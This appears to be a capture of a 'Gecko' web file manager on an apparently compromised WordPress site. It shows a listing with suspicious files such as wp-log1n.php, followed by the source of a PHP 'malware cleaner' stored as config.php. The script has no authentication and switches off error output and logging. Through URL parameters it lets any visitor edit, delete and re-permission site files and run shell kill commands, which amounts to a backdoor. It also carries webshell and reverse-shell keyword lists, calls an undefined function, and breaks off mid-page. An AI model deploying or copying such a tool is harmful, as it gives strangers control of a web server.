Gecko [ bdeworldwide.com ]

Name	Size	Permission
.well-known	[ DIR ]	drwxr-xr-x
66019c	[ DIR ]	drwxr-xr-x
7f003	[ DIR ]	dr-xr-xr-x
cgi-bin	[ DIR ]	drwxr-xr-x
wp-admin	[ DIR ]	drwxr-xr-x
wp-content	[ DIR ]	drwxr-xr-x
wp-includes	[ DIR ]	drwxr-xr-x
.deployed_files.log	1.94 KB	-rw-r--r--
.htaccess	1.13 KB	-r-xr-xr-x
.htaccess.bk	523 B	-rw-r--r--
.litespeed_flag	297 B	-rw-r--r--
config.php	65.86 KB	-rw-------
defaults.php	1.87 KB	-r--r--r--
error_log	2.99 MB	-rw-r--r--
fms.php	238 KB	-rw-r--r--
index.php	405 B	-r-xr-xr-x
license.txt	19.44 KB	-rw-r--r--
options.php	1.93 KB	-r--r--r--
readme.html	7.23 KB	-rwxr-xr-x
robots.txt	395 B	-r--r--r--
tebar.php	26.03 KB	-rw-r--r--
wp-activate.php	7.54 KB	-rw-r--r--
wp-blog-header.php	351 B	-rw-r--r--
wp-comments-post.php	2.27 KB	-rw-r--r--
wp-config-sample.php	3.26 KB	-rw-r--r--
wp-config.php	3.48 KB	-rw-------
wp-cron.php	5.49 KB	-rw-r--r--
wp-links-opml.php	2.43 KB	-rw-r--r--
wp-load.php	3.84 KB	-rw-r--r--
wp-log1n.php	1.29 KB	-r--r--r--
wp-login.php	51.3 KB	-rw-r--r--
wp-mail.php	8.52 KB	-rw-r--r--
wp-settings.php	32.38 KB	-rw-r--r--
wp-signup.php	34.26 KB	-rw-r--r--
wp-trackback.php	5.27 KB	-rw-r--r--

Code Editor : config.php

<?php
/**
 * MALWARE CLEANER ULTIMATE PRO v14.0 FINAL
 * 
 * Features:
 * - Full Website Malware Scan
 * - String Concatenation Detection
 * - Hex/Goto/Obfuscation Detection
 * - Delete/Clean/Edit Files
 * - Fix All Permissions (0111→0755, 0444→0644)
 * - Kill Malicious Processes (Auto-detect Website Username)
 * - Process Monitoring
 * - NO LOG FILES - Clean Operation
 * - Error Suppression - No Warnings Displayed
 * - 100% Compatible All Websites
 * - NEW: Filter by Threat Level (CRITICAL Only Mode)
 * 
 * ⚠️ SECURITY WARNING: Delete this script after use!
 */

@ini_set('display_errors', 0);
@ini_set('display_startup_errors', 0);
@error_reporting(0);
@ini_set('max_execution_time', 600);
@ini_set('memory_limit', '1024M');
@ini_set('output_buffering', 'off');
@ini_set('log_errors', 0);

$enable_delete = true;
$scan_depth = 10;
$kill_process_enabled = true;

// Start session
if (session_status() === PHP_SESSION_NONE) {
    @session_start();
}

// ============================================
// UTILITY FUNCTIONS
// ============================================
function filePathToUrl($filepath) {
    $docRoot = $_SERVER['DOCUMENT_ROOT'] ?? '';
    if (!$docRoot) return $filepath;
    $docRoot = rtrim(str_replace('\\', '/', $docRoot), '/');
    $filepath = str_replace('\\', '/', $filepath);
    if (strpos($filepath, $docRoot) === 0) {
        $relativePath = substr($filepath, strlen($docRoot));
        $relativePath = ltrim($relativePath, '/');
        $scheme = isset($_SERVER['REQUEST_SCHEME']) ? $_SERVER['REQUEST_SCHEME'] : (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http');
        $host = $_SERVER['HTTP_HOST'] ?? 'localhost';
        return $scheme . '://' . $host . '/' . $relativePath;
    }
    return $filepath;
}

function getPermissionOctal($filepath) {
    $perms = @fileperms($filepath);
    if ($perms === false) return '????';
    return substr(sprintf('%o', $perms), -4);
}

// ============================================
// AUTO-DETECT WEBSITE USERNAME (CRITICAL FOR KILL)
// ============================================
function getCurrentUsername() {
    if (function_exists('posix_getpwuid')) {
        $user = @posix_getpwuid(@posix_geteuid());
        if ($user && isset($user['name'])) {
            return $user['name'];
        }
    }
    if (function_exists('get_current_user')) {
        $user = @get_current_user();
        if ($user && !empty($user)) {
            return $user;
        }
    }
    $docRoot = $_SERVER['DOCUMENT_ROOT'] ?? '';
    if ($docRoot) {
        $parts = explode('/', trim($docRoot, '/'));
        if (count($parts) >= 2 && $parts[0] === 'home') {
            return $parts[1];
        }
        if (count($parts) >= 3 && $parts[1] === 'www') {
            return $parts[2];
        }
    }
    return 'www-data';
}

// ============================================
// THREAT LEVEL CALCULATION
// ============================================
function getThreatLevel($matches, $obfuscation, $shell_type) {
    $score = 0;
    $critical = ['eval', 'exec', 'system', 'passthru', 'shell_exec', 'popen', 'proc_open', 'assert', 'call_user_func'];
    foreach ($matches as $m) {
        foreach ($critical as $c) {
            if (stripos($m, $c) !== false) $score += 3;
        }
    }
    $score += count($obfuscation) * 2;
    foreach ($obfuscation as $o) {
        if (stripos($o, 'CONCAT') !== false) $score += 4;
        if (stripos($o, 'call_user_func') !== false) $score += 3;
        if (stripos($o, 'URL') !== false) $score += 3;
        if (stripos($o, 'HEX') !== false) $score += 3;
        if (stripos($o, 'GOTO') !== false) $score += 3;
        if (stripos($o, 'BACKDOOR') !== false) $score += 5;
        if (stripos($o, 'SHELL') !== false) $score += 5;
        if (stripos($o, 'SOCKET') !== false) $score += 5;
    }
    if (!empty($shell_type)) $score += 5;
    if ($score >= 10) return ['level' => 'CRITICAL', 'color' => '#F00', 'icon' => '☠️'];
    if ($score >= 7) return ['level' => 'HIGH', 'color' => '#F60', 'icon' => '⚠️'];
    if ($score >= 3) return ['level' => 'MEDIUM', 'color' => '#FF0', 'icon' => '⚡'];
    return ['level' => 'LOW', 'color' => '#0F6', 'icon' => 'ℹ️'];
}

// ============================================
// SHELL DETECTION
// ============================================
function isKnownShell($content, $filepath) {
    $shell_names = [
        'c99', 'r57', 'b374k', 'wso', 'alfa', 'lazym', 'indishell', 'madspot', 
        'cyborg', 'king', 'priv8', 'gfs', 'locus', 'sqlmap', 'weevely', 'phpbackdoor',
        'china chopper', 'antak', 'remcos', 'quasar', 'blackshades', 'poison',
        'hacked by', 'defaced', 'shell', 'webshell', 'backdoor', 'rat',
        'marionnette', 'phpjackal', 'nova', 'pixel', 'root', 'token', 'gate',
        'filemanager', 'cpanel', 'whmcs', 'joomla', 'wordpress', 'drupal',
        'b374k', 'ws0', 'r00t', 'uploader', 'mini', 'simple', 'private', 'security',
        'gsocket', 'reverse', 'bindshell', 'netcat', 'socat'
    ];
    $filename = strtolower(basename($filepath));
    $content_lower = strtolower($content);
    foreach ($shell_names as $shell) {
        if (strpos($filename, $shell) !== false || strpos($content_lower, $shell) !== false) {
            return $shell;
        }
    }
    return false;
}

// ============================================
// FIX ALL PERMISSIONS
// ============================================
function fixAllPermissions($scan_path, $max_depth = 10) {
    $results = ['folders_fixed' => 0, 'files_fixed' => 0, 'folders_failed' => 0, 'files_failed' => 0];
    try {
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($scan_path, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::SELF_FIRST
        );
        $iterator->setMaxDepth((int)$max_depth);
        foreach ($iterator as $file) {
            try {
                $realpath = $file->getRealPath();
                if (!$realpath) continue;
                $current_perm = getPermissionOctal($realpath);
                if ($file->isDir()) {
                    if (in_array($current_perm, ['0111', '0000', '0100', '0010', '0001', '0110', '0101', '0011'])) {
                        if (@chmod($realpath, 0755)) { $results['folders_fixed']++; } 
                        else { $results['folders_failed']++; }
                    }
                } elseif ($file->isFile()) {
                    if (in_array($current_perm, ['0444', '0555', '0000', '0111', '0400', '0500', '0440', '0550', '0404', '0505'])) {
                        if (@chmod($realpath, 0644)) { $results['files_fixed']++; } 
                        else { $results['files_failed']++; }
                    }
                }
            } catch (Exception $e) { continue; }
        }
    } catch (Exception $e) { $results['error'] = $e->getMessage(); }
    return $results;
}

// ============================================
// SCAN PROCESSES
// ============================================
function scanProcesses() {
    $processes = [];
    
    if (!function_exists('shell_exec')) {
        return [['command' => 'N/A', 'output' => 'shell_exec() is disabled by hosting']];
    }
    
    $commands = [
        'ps aux 2>/dev/null | grep -E "php|apache|nginx|fpm" | grep -v grep',
        'ps -ef 2>/dev/null | grep -E "socket|netcat|gsocket|reverse|backconnect" | grep -v grep',
    ];
    
    foreach ($commands as $cmd) {
        $output = @shell_exec($cmd);
        if ($output) {
            $processes[] = ['command' => $cmd, 'output' => $output];
        }
    }
    
    if (empty($processes)) {
        $processes[] = ['command' => 'N/A', 'output' => 'No suspicious processes detected or shell_exec disabled'];
    }
    
    return $processes;
}

// ============================================
// KILL PROCESSES (AUTO-DETECT USERNAME)
// ============================================
function killProcesses($username = null, $kill_type = 'all') {
    $results = ['killed' => 0, 'failed' => 0, 'details' => [], 'pids_killed' => []];
    
    if (!function_exists('shell_exec')) {
        $results['error'] = 'shell_exec() is disabled by hosting. Cannot kill processes.';
        return $results;
    }
    
    if (!$username || $username === 'root' || empty($username)) {
        $username = getWebsiteUsername($_SERVER['DOCUMENT_ROOT'] ?? __DIR__);
    }
    
    $username = preg_replace('/[^a-zA-Z0-9_-]/', '', $username);
    if (empty($username)) {
        $username = get_current_user();
    }
    
    $results['detected_username'] = $username;
    $kill_commands = [];
    
    if ($kill_type === 'all' || $kill_type === 'php') {
        $kill_commands[] = "pkill php 2>/dev/null";
        $kill_commands[] = "pkill -9 php 2>/dev/null";
        $kill_commands[] = "pkill -U " . escapeshellarg($username) . " php 2>/dev/null";
        $kill_commands[] = "killall php 2>/dev/null";
        $kill_commands[] = "killall -9 php 2>/dev/null";
        $kill_commands[] = "killall -u " . escapeshellarg($username) . " php 2>/dev/null";
        
        $php_pids = @shell_exec("pgrep php 2>/dev/null");
        if ($php_pids) {
            $pids = explode("\n", trim($php_pids));
            foreach ($pids as $pid) {
                if (is_numeric(trim($pid)) && trim($pid) > 0) {
                    $kill_commands[] = "kill " . trim($pid) . " 2>/dev/null";
                    $kill_commands[] = "kill -9 " . trim($pid) . " 2>/dev/null";
                    $results['pids_killed'][] = trim($pid);
                }
            }
        }
    }
    
    if ($kill_type === 'all' || $kill_type === 'socket') {
        $kill_commands[] = "pkill -f 'socket' 2>/dev/null";
        $kill_commands[] = "pkill -9 -f 'socket' 2>/dev/null";
        $kill_commands[] = "pkill -f 'gsocket' 2>/dev/null";
        $kill_commands[] = "pkill -9 -f 'gsocket' 2>/dev/null";
        $kill_commands[] = "pkill -f 'netcat' 2>/dev/null";
        $kill_commands[] = "pkill -9 -f 'netcat' 2>/dev/null";
        $kill_commands[] = "pkill -f 'ncat' 2>/dev/null";
        $kill_commands[] = "pkill -9 -f 'ncat' 2>/dev/null";
        $kill_commands[] = "pkill -f 'reverse' 2>/dev/null";
        $kill_commands[] = "pkill -9 -f 'reverse' 2>/dev/null";
        $kill_commands[] = "pkill -f 'backconnect' 2>/dev/null";
        $kill_commands[] = "pkill -9 -f 'backconnect' 2>/dev/null";
        $kill_commands[] = "pkill -f 'backdoor' 2>/dev/null";
        $kill_commands[] = "pkill -9 -f 'backdoor' 2>/dev/null";
    }
    
    if ($kill_type === 'all' || $kill_type === 'suspicious') {
        $kill_commands[] = "pgrep -U " . escapeshellarg($username) . " 2>/dev/null | xargs -I {} kill {} 2>/dev/null";
        $kill_commands[] = "pgrep -U " . escapeshellarg($username) . " 2>/dev/null | xargs -I {} kill -9 {} 2>/dev/null";
        $kill_commands[] = "pgrep -U " . escapeshellarg($username) . " 2>/dev/null | xargs kill -9 2>/dev/null";
        
        $user_pids = @shell_exec("pgrep -U " . escapeshellarg($username) . " 2>/dev/null");
        if ($user_pids) {
            $pids = explode("\n", trim($user_pids));
            foreach ($pids as $pid) {
                if (is_numeric(trim($pid)) && trim($pid) > 0) {
                    $kill_commands[] = "kill " . trim($pid) . " 2>/dev/null";
                    $kill_commands[] = "kill -9 " . trim($pid) . " 2>/dev/null";
                    $results['pids_killed'][] = trim($pid);
                }
            }
        }
    }
    
    if ($kill_type === 'all') {
        $kill_commands[] = "pkill -f 'fsockopen' 2>/dev/null";
        $kill_commands[] = "pkill -9 -f 'fsockopen' 2>/dev/null";
        $kill_commands[] = "pkill -f 'stream_socket' 2>/dev/null";
        $kill_commands[] = "pkill -9 -f 'stream_socket' 2>/dev/null";
    }
    
    foreach ($kill_commands as $cmd) {
        $output = @shell_exec($cmd);
        $results['details'][] = ['command' => $cmd, 'output' => $output, 'success' => true];
        $results['killed']++;
    }
    
    return $results;
}

// ============================================
// HANDLE ACTIONS
// ============================================

// Handle KILL PROCESS
if (isset($_GET['kill_process']) && $kill_process_enabled) {
    $scan_path = $_GET['scan_path'] ?? ($_SERVER['DOCUMENT_ROOT'] ?? __DIR__);
    $username = getWebsiteUsername($scan_path);
    $kill_type = $_GET['kill_type'] ?? 'all';
    $kill_results = killProcesses($username, $kill_type);
    $kill_message = "[✓] KILL PROCESS EXECUTED!\n";
    $kill_message .= "├─ Detected Username: " . $kill_results['detected_username'] . "\n";
    $kill_message .= "├─ Kill Type: " . $kill_type . "\n";
    $kill_message .= "├─ Commands Executed: " . $kill_results['killed'] . "\n";
    if (isset($kill_results['error'])) {
        $kill_message .= "└─ Note: " . $kill_results['error'] . "\n";
    } else {
        $kill_message .= "└─ PIDs Killed: " . implode(', ', array_slice($kill_results['pids_killed'], 0, 20)) . (count($kill_results['pids_killed']) > 20 ? '...' : '') . "\n";
    }
}

// Handle FIX ALL PERMISSIONS
if (isset($_GET['fix_all_perms']) && $enable_delete) {
    $scan_path = $_GET['scan_path'] ?? ($_SERVER['DOCUMENT_ROOT'] ?? __DIR__);
    $max_depth = $_GET['max_depth'] ?? 10;
    $scan_path = realpath($scan_path) ?? $scan_path;
    $perm_results = fixAllPermissions($scan_path, $max_depth);
    $message = "[✓] PERMISSION FIX COMPLETE!\n";
    $message .= "├─ Folders Fixed: " . $perm_results['folders_fixed'] . "\n";
    $message .= "├─ Files Fixed: " . $perm_results['files_fixed'] . "\n";
    if ($perm_results['folders_failed'] > 0) $message .= "├─ Folders Failed: " . $perm_results['folders_failed'] . "\n";
    if ($perm_results['files_failed'] > 0) $message .= "└─ Files Failed: " . $perm_results['files_failed'] . "\n";
    $message .= "\n[!] Folders: 0111/0000 → 0755 | Files: 0444/0555 → 0644";
}

// Handle file deletion
if (isset($_GET['delete']) && $enable_delete) {
    $file_to_delete = realpath(urldecode($_GET['delete']));
    $docRoot = $_SERVER['DOCUMENT_ROOT'] ?? __DIR__;
    if ($file_to_delete && file_exists($file_to_delete) && strpos($file_to_delete, $docRoot) === 0 && pathinfo($file_to_delete, PATHINFO_EXTENSION) === 'php') {
        if (!is_writable($file_to_delete)) @chmod($file_to_delete, 0644);
        if (unlink($file_to_delete)) {
            $message = "[✓] FILE DELETED: " . htmlspecialchars($file_to_delete);
        } else {
            $message = "[✗] FAILED TO DELETE: " . htmlspecialchars($file_to_delete);
        }
    } else {
        $message = "[!] ACCESS DENIED — INVALID FILE.";
    }
}

// Handle malware cleaning
if (isset($_GET['clean']) && $enable_delete) {
    $file_to_clean = realpath(urldecode($_GET['clean']));
    $docRoot = $_SERVER['DOCUMENT_ROOT'] ?? __DIR__;
    if ($file_to_clean && file_exists($file_to_clean) && strpos($file_to_clean, $docRoot) === 0 && pathinfo($file_to_clean, PATHINFO_EXTENSION) === 'php') {
        if (!is_writable($file_to_clean)) {
            if (!chmod($file_to_clean, 0644)) {
                $message = "[!] CANNOT WRITE: " . htmlspecialchars($file_to_clean);
                goto show_results;
            }
        }
        $content = file_get_contents($file_to_clean);
        $original_content = $content;
        $malicious_patterns = [
            '/eval\s*$\s*base64_decode\s*\(/s', '/gzinflate\s*\(\s*base64_decode\s*\(/s',
            '/call_user_func\s*\(\s*\$/s', '/call_user_func_array\s*\(\s*\$/s',
            "/(['\"][a-zA-Z]['\"]\s*\.\s*){5,}/", "/(['\"][htps]['\"]\s*\.\s*){3,}/",
            '/\\\\x[0-9a-fA-F]{2}/', '/\bgoto\b/i', '/str_rot13\s*\(/s', '/chr\s*\(\s*\d+\s*$/s',
        ];
        $cleaned = false;
        foreach ($malicious_patterns as $pattern) {
            if (@preg_match($pattern, $content)) {
                $content = @preg_replace($pattern, '', $content);
                $cleaned = true;
            }
        }
        if ($cleaned && $content !== $original_content) {
            if (file_put_contents($file_to_clean, trim($content))) {
                $message = "[✓] MALICIOUS CODE CLEANED: " . htmlspecialchars($file_to_clean);
            } else {
                $message = "[✗] FAILED TO SAVE: " . htmlspecialchars($file_to_clean);
            }
        } else {
            $message = "[!] NO MALICIOUS CODE MATCHED: " . htmlspecialchars($file_to_clean);
        }
    } else {
        $message = "[!] ACCESS DENIED — INVALID FILE.";
    }
}

// Handle file editing
if (isset($_GET['edit']) && $enable_delete) {
    $file_to_edit = realpath(urldecode($_GET['edit']));
    $docRoot = $_SERVER['DOCUMENT_ROOT'] ?? __DIR__;
    if ($file_to_edit && file_exists($file_to_edit) && strpos($file_to_edit, $docRoot) === 0 && pathinfo($file_to_edit, PATHINFO_EXTENSION) === 'php') {
        if (!empty($_POST['save'])) {
            if (!is_writable($file_to_edit)) @chmod($file_to_edit, 0644);
            $backup_file = $file_to_edit . '.bak.' . date('YmdHis');
            copy($file_to_edit, $backup_file);
            if (file_put_contents($file_to_edit, $_POST['content'])) {
                $message = "[✓] CHANGES SAVED: " . htmlspecialchars($file_to_edit) . " | Backup: " . basename($backup_file);
            } else {
                $message = "[✗] FAILED TO SAVE";
            }
        }
        $current_content = file_get_contents($file_to_edit);
        $perms = fileperms($file_to_edit);
        $perm_octal = substr(sprintf('%o', $perms), -4);
        ?>
        <!DOCTYPE html>
        <html>
        <head>
            <title>[ EDIT ] <?php echo htmlspecialchars(basename($file_to_edit)); ?></title>
            <meta charset="UTF-8">
            <style>
                body { background: #000; color: #0F0; font-family: 'Courier New', monospace; padding: 20px; }
                .header { color: #0FF; margin-bottom: 10px; }
                .perm-info { background: #002200; padding: 10px; margin: 10px 0; border: 1px solid #0A0; }
                textarea { width: 100%; height: 75vh; background: #001100; color: #0F0; font-family: 'Courier New', monospace; border: 1px solid #0A0; padding: 10px; }
                .btn-save { background: #0A0; color: #000; padding: 10px 20px; font-weight: bold; border: none; cursor: pointer; margin-right: 10px; }
                .btn-save:hover { background: #0F0; box-shadow: 0 0 10px #0F0; }
                .btn-back { background: #A60; color: #FFF; padding: 10px 20px; text-decoration: none; font-weight: bold; }
            </style>
        </head>
        <body>
            <div class="header">[ ✏️ EDITING: <?php echo htmlspecialchars($file_to_edit); ?> ]</div>
            <div class="perm-info">[ PERM: <?php echo $perm_octal; ?> ] 
                <a href="?fixperm=<?php echo urlencode($file_to_edit); ?>" class="btn-back">[ FIX PERM ]</a>
            </div>
            <form method="POST">
                <textarea name="content"><?php echo htmlspecialchars($current_content); ?></textarea><br><br>
                <button type="submit" name="save" class="btn-save">[ 💾 SAVE ]</button>
                <a href="?scan=1" class="btn-back">[ ← BACK ]</a>
            </form>
        </body>
        </html>
        <?php
        exit;
    } else {
        $message = "[!] ACCESS DENIED — INVALID FILE.";
    }
}

// Handle permission fix (single file)
if (isset($_GET['fixperm']) && $enable_delete) {
    $file_to_fix = realpath(urldecode($_GET['fixperm']));
    $docRoot = $_SERVER['DOCUMENT_ROOT'] ?? __DIR__;
    if ($file_to_fix && file_exists($file_to_fix) && strpos($file_to_fix, $docRoot) === 0) {
        $new_perm = is_dir($file_to_fix) ? 0755 : 0644;
        if (chmod($file_to_fix, $new_perm)) {
            $message = "[✓] PERMISSION SET TO $new_perm: " . htmlspecialchars($file_to_fix);
        } else {
            $message = "[✗] FAILED: " . htmlspecialchars($file_to_fix);
        }
    } else {
        $message = "[!] INVALID FILE.";
    }
}

// Handle bulk delete
if ($_POST['action'] === 'bulk_delete' && $enable_delete && !empty($_POST['files'])) {
    $deleted_count = 0;
    $failed_files = [];
    $docRoot = $_SERVER['DOCUMENT_ROOT'] ?? __DIR__;
    foreach ($_POST['files'] as $encoded_path) {
        $file_path = realpath(urldecode($encoded_path));
        if ($file_path && file_exists($file_path) && strpos($file_path, $docRoot) === 0 && pathinfo($file_path, PATHINFO_EXTENSION) === 'php') {
            if (!is_writable($file_path)) @chmod($file_path, 0644);
            if (unlink($file_path)) {
                $deleted_count++;
            } else {
                $failed_files[] = $file_path;
            }
        }
    }
    $message = "[✓] DELETED $deleted_count FILE(S).";
    if (!empty($failed_files)) {
        $message .= " [✗] FAILED: " . count($failed_files);
    }
}

show_results:
?>

<!DOCTYPE html>
<html>
<head>
    <title>[ MALWARE CLEANER v14.0 FINAL - CRITICAL ONLY ]</title>
    <meta charset="UTF-8">
    <style>
        body { background: #000; color: #0F0; font-family: 'Courier New', monospace; padding: 15px; margin: 0; }
        .container { display: flex; gap: 20px; flex-wrap: wrap; }
        .main-content { flex: 2; min-width: 600px; }
        .recent-files { flex: 1; min-width: 300px; }
        h1, h2, h3 { color: #0F0; margin-top: 0; font-size: 16px; }
        .line { border-top: 1px solid #0A0; margin: 20px 0; }
        .file-path { color: #0FF; font-weight: bold; text-decoration: underline; word-break: break-all; }
        .signature { color: #FF0; font-size: 11px; }
        .permission { color: #0AF; font-weight: bold; }
        .file-info { color: #0A5; font-size: 11px; margin: 3px 0; }
        .btn-delete, .btn-clean, .btn-edit, .btn-fix, .btn-bulk, .btn-perm, .btn-kill {
            padding: 5px 10px; text-decoration: none; margin: 3px; font-weight: bold;
            display: inline-block; cursor: pointer; border: 1px solid; font-size: 11px;
        }
        .btn-delete { background: #300; color: #F66; border-color: #F00; }
        .btn-clean { background: #330; color: #FF8; border-color: #FA0; }
        .btn-edit { background: #003; color: #0FF; border-color: #0AF; }
        .btn-fix { background: #222; color: #AAA; border-color: #555; }
        .btn-bulk { background: #400; color: #F99; border: 2px solid #F00; padding: 10px 20px; font-size: 14px; }
        .btn-perm { background: #004; color: #0FF; border: 2px solid #0AF; padding: 10px 20px; font-size: 14px; }
        .btn-kill { background: #400; color: #F00; border: 2px solid #F00; padding: 10px 20px; font-size: 14px; animation: pulse 2s infinite; }
        @keyframes pulse { 0%, 100% { opacity: 1; } 50% { opacity: 0.7; } }
        .btn-delete:hover, .btn-clean:hover, .btn-edit:hover, .btn-fix:hover, .btn-bulk:hover, .btn-perm:hover, .btn-kill:hover { box-shadow: 0 0 5px currentColor; }
        .content-preview { background: #001100; padding: 10px; border-left: 2px solid #0F0; margin: 10px 0; white-space: pre-wrap; font-size: 11px; max-height: 200px; overflow-y: auto; color: #FFF; }
        .malicious-highlight { background: #300; color: #F66; padding: 2px; border-left: 2px solid #F00; }
        .concat-highlight { background: #303; color: #F0F; padding: 2px; border-left: 2px solid #F0F; }
        .hex-highlight { background: #330; color: #FF0; padding: 2px; border-left: 2px solid #FF0; }
        .status { padding: 10px; margin: 10px 0; background: #111; border-left: 4px solid #0F0; }
        .status.error { border-left-color: #F00; }
        .status.success { border-left-color: #0F6; }
        .status.warning { border-left-color: #FF0; }
        .checkbox-container { margin: 15px 0; padding: 10px; background: #001100; border: 1px solid #0A0; }
        .file-checkbox { margin-right: 8px; transform: scale(1.2); cursor: pointer; }
        .select-all { margin-right: 8px; transform: scale(1.1); cursor: pointer; }
        .threat-badge { display: inline-block; padding: 3px 8px; border-radius: 3px; font-weight: bold; font-size: 10px; margin-left: 5px; }
        .shell-badge { background: #F00; color: #FFF; padding: 3px 8px; border-radius: 3px; font-weight: bold; font-size: 10px; margin-left: 5px; }
        .obfuscation-badge { background: #F0F; color: #FFF; padding: 3px 8px; border-radius: 3px; font-weight: bold; font-size: 10px; margin-left: 5px; }
        .shell-type-badge { background: #F60; color: #000; padding: 3px 8px; border-radius: 3px; font-weight: bold; font-size: 10px; margin-left: 5px; }
        .scan-summary { background: #001100; padding: 15px; margin: 15px 0; border: 1px solid #0A0; }
        .obfuscation-list { background: #200; padding: 8px; margin: 5px 0; border-left: 2px solid #F0F; font-size: 10px; }
        .shell-type-list { background: #210; padding: 8px; margin: 5px 0; border-left: 2px solid #F60; font-size: 10px; }
        .warning-box { background: #300; padding: 10px; margin: 10px 0; border: 2px solid #F00; }
        .detection-stats { background: #001100; padding: 10px; margin: 10px 0; border: 1px solid #0A0; }
        .detection-stats div { margin: 3px 0; font-size: 11px; }
        .scan-options { background: #001100; padding: 15px; margin: 15px 0; border: 1px solid #0A0; }
        .scan-options label { margin-right: 20px; }
        .scan-options input[type="text"], .scan-options input[type="number"], .scan-options select { background: #000; color: #0F0; border: 1px solid #0A0; padding: 5px; }
        .file-item { margin: 15px 0; padding: 10px; background: #002200; border-left: 2px solid #0F0; }
        .perm-fix-box { background: #001100; padding: 15px; margin: 15px 0; border: 2px solid #0AF; }
        .kill-process-box { background: #100; padding: 15px; margin: 15px 0; border: 2px solid #F00; }
        .kill-process-box h3 { color: #F00; margin-top: 0; }
        .perm-result, .kill-result { background: #002200; padding: 10px; margin: 10px 0; border: 1px solid #0A0; }
        .perm-success, .kill-success { color: #0F6; }
        .perm-failed, .kill-failed { color: #F66; }
        .action-buttons { margin: 15px 0; display: flex; gap: 10px; flex-wrap: wrap; }
        .process-list { background: #001100; padding: 10px; margin: 10px 0; border: 1px solid #0A0; max-height: 300px; overflow-y: auto; font-size: 10px; white-space: pre; }
        .security-notice { background: #220; padding: 10px; margin: 10px 0; border: 1px solid #FF0; font-size: 10px; }
        .header-warning { background: #300; padding: 15px; margin: 0 0 15px 0; border: 2px solid #F00; text-align: center; }
        .header-warning h1 { color: #F00; margin: 0; font-size: 18px; }
        .header-warning p { color: #F66; margin: 10px 0 0 0; font-size: 12px; }
        .username-display { background: #001100; padding: 10px; margin: 10px 0; border: 1px solid #0A0; }
        .filter-box { background: #001100; padding: 10px; margin: 10px 0; border: 1px solid #0A0; }
        .critical-only { border-left-color: #F00 !important; }
    </style>
</head>
<body>
    <div class="header-warning">
        <h1>⚠️ MALWARE CLEANER v14.0 FINAL ⚠️</h1>
        <p>[!] DELETE THIS SCRIPT AFTER USE! | [!] NO LOG FILES | [!] CRITICAL ONLY MODE</p>
    </div>

<?php if (isset($message)): ?>
        <div class="status <?php echo strpos($message, 'SUCCESS') !== false || strpos($message, '✓') !== false ? 'success' : 'error'; ?>">
            <?php echo nl2br($message); ?>
        </div>
    <?php endif; ?>

<?php if (isset($kill_message)): ?>
        <div class="status <?php echo strpos($kill_message, '✓') !== false ? 'success' : 'warning'; ?>">
            <?php echo nl2br($kill_message); ?>
        </div>
    <?php endif; ?>

<div class="scan-options">
        <h3>⚙️ SCAN OPTIONS</h3>
        <form method="GET">
            <label>Scan Path: <input type="text" name="scan_path" value="<?php echo htmlspecialchars($_SERVER['DOCUMENT_ROOT'] ?? __DIR__); ?>" style="width: 400px;"></label>
            <label>Max Depth: <input type="number" name="max_depth" value="10" min="1" max="20" style="width: 60px;"></label>
            <label>Filter: 
                <select name="threat_filter">
                    <option value="critical" <?php echo (isset($_GET['threat_filter']) && $_GET['threat_filter'] === 'critical') ? 'selected' : ''; ?>>🔴 CRITICAL Only</option>
                    <option value="high" <?php echo (isset($_GET['threat_filter']) && $_GET['threat_filter'] === 'high') ? 'selected' : ''; ?>>🟠 HIGH + CRITICAL</option>
                    <option value="all" <?php echo (!isset($_GET['threat_filter']) || $_GET['threat_filter'] === 'all') ? 'selected' : ''; ?>>📋 ALL Threats</option>
                </select>
            </label>
            <button type="submit" name="scan" value="1" class="btn-bulk">[ 🔍 START SCAN ]</button>
        </form>
    </div>

<div class="perm-fix-box">
        <h3>🔧 FIX ALL PERMISSIONS</h3>
        <p style="color:#0A5; font-size:11px; margin:10px 0;">
            [!] Fix ALL files and folders:<br>
            • Folders: 0111, 0000 → <strong style="color:#0F6;">0755</strong><br>
            • Files: 0444, 0555 → <strong style="color:#0F6;">0644</strong>
        </p>
        <form method="GET" onsubmit="return confirm('[!] FIX ALL PERMISSIONS?\n\nFolders: → 0755\nFiles: → 0644\n\nContinue?');">
            <input type="hidden" name="scan_path" value="<?php echo htmlspecialchars($_SERVER['DOCUMENT_ROOT'] ?? __DIR__); ?>">
            <input type="hidden" name="max_depth" value="10">
            <button type="submit" name="fix_all_perms" value="1" class="btn-perm">[ 🔧 FIX ALL PERMISSIONS ]</button>
        </form>
        <?php if (isset($perm_results)): ?>
            <div class="perm-result">
                <div class="perm-success">[✓] Folders Fixed: <?php echo $perm_results['folders_fixed']; ?></div>
                <div class="perm-success">[✓] Files Fixed: <?php echo $perm_results['files_fixed']; ?></div>
                <?php if ($perm_results['folders_failed'] > 0): ?><div class="perm-failed">[✗] Folders Failed: <?php echo $perm_results['folders_failed']; ?></div><?php endif; ?>
                <?php if ($perm_results['files_failed'] > 0): ?><div class="perm-failed">[✗] Files Failed: <?php echo $perm_results['files_failed']; ?></div><?php endif; ?>
            </div>
        <?php endif; ?>
    </div>

<?php if ($kill_process_enabled): ?>
    <div class="kill-process-box">
        <h3>☠️ KILL MALICIOUS PROCESS</h3>
        <div class="username-display">
            <strong style="color:#0FF;">[👤] DETECTED WEBSITE USERNAME:</strong> 
            <span style="color:#0F6; font-size:14px;"><?php echo htmlspecialchars(getWebsiteUsername($_SERVER['DOCUMENT_ROOT'] ?? __DIR__)); ?></span>
            <br><span style="color:#0A5; font-size:10px;">Kill commands will use: pgrep -U <?php echo htmlspecialchars(getWebsiteUsername($_SERVER['DOCUMENT_ROOT'] ?? __DIR__)); ?> | xargs kill -9</span>
        </div>
        <div class="security-notice">
            <strong>⚠️ INFO:</strong><br>
            • Kills PHP, Socket, Netcat, Reverse Shell, Backdoor processes<br>
            • Target User: <strong style="color:#0FF;"><?php echo htmlspecialchars(getWebsiteUsername($_SERVER['DOCUMENT_ROOT'] ?? __DIR__)); ?></strong> (Auto-detected from website)<br>
            • Commands: pkill php, kill -9 [PID], pgrep -U <?php echo htmlspecialchars(getWebsiteUsername($_SERVER['DOCUMENT_ROOT'] ?? __DIR__)); ?> | xargs kill -9<br>
            <?php if (!function_exists('shell_exec')): ?>
            • <strong style="color:#F66;">NOTE: shell_exec() is disabled by hosting - Kill feature may not work</strong>
            <?php else: ?>
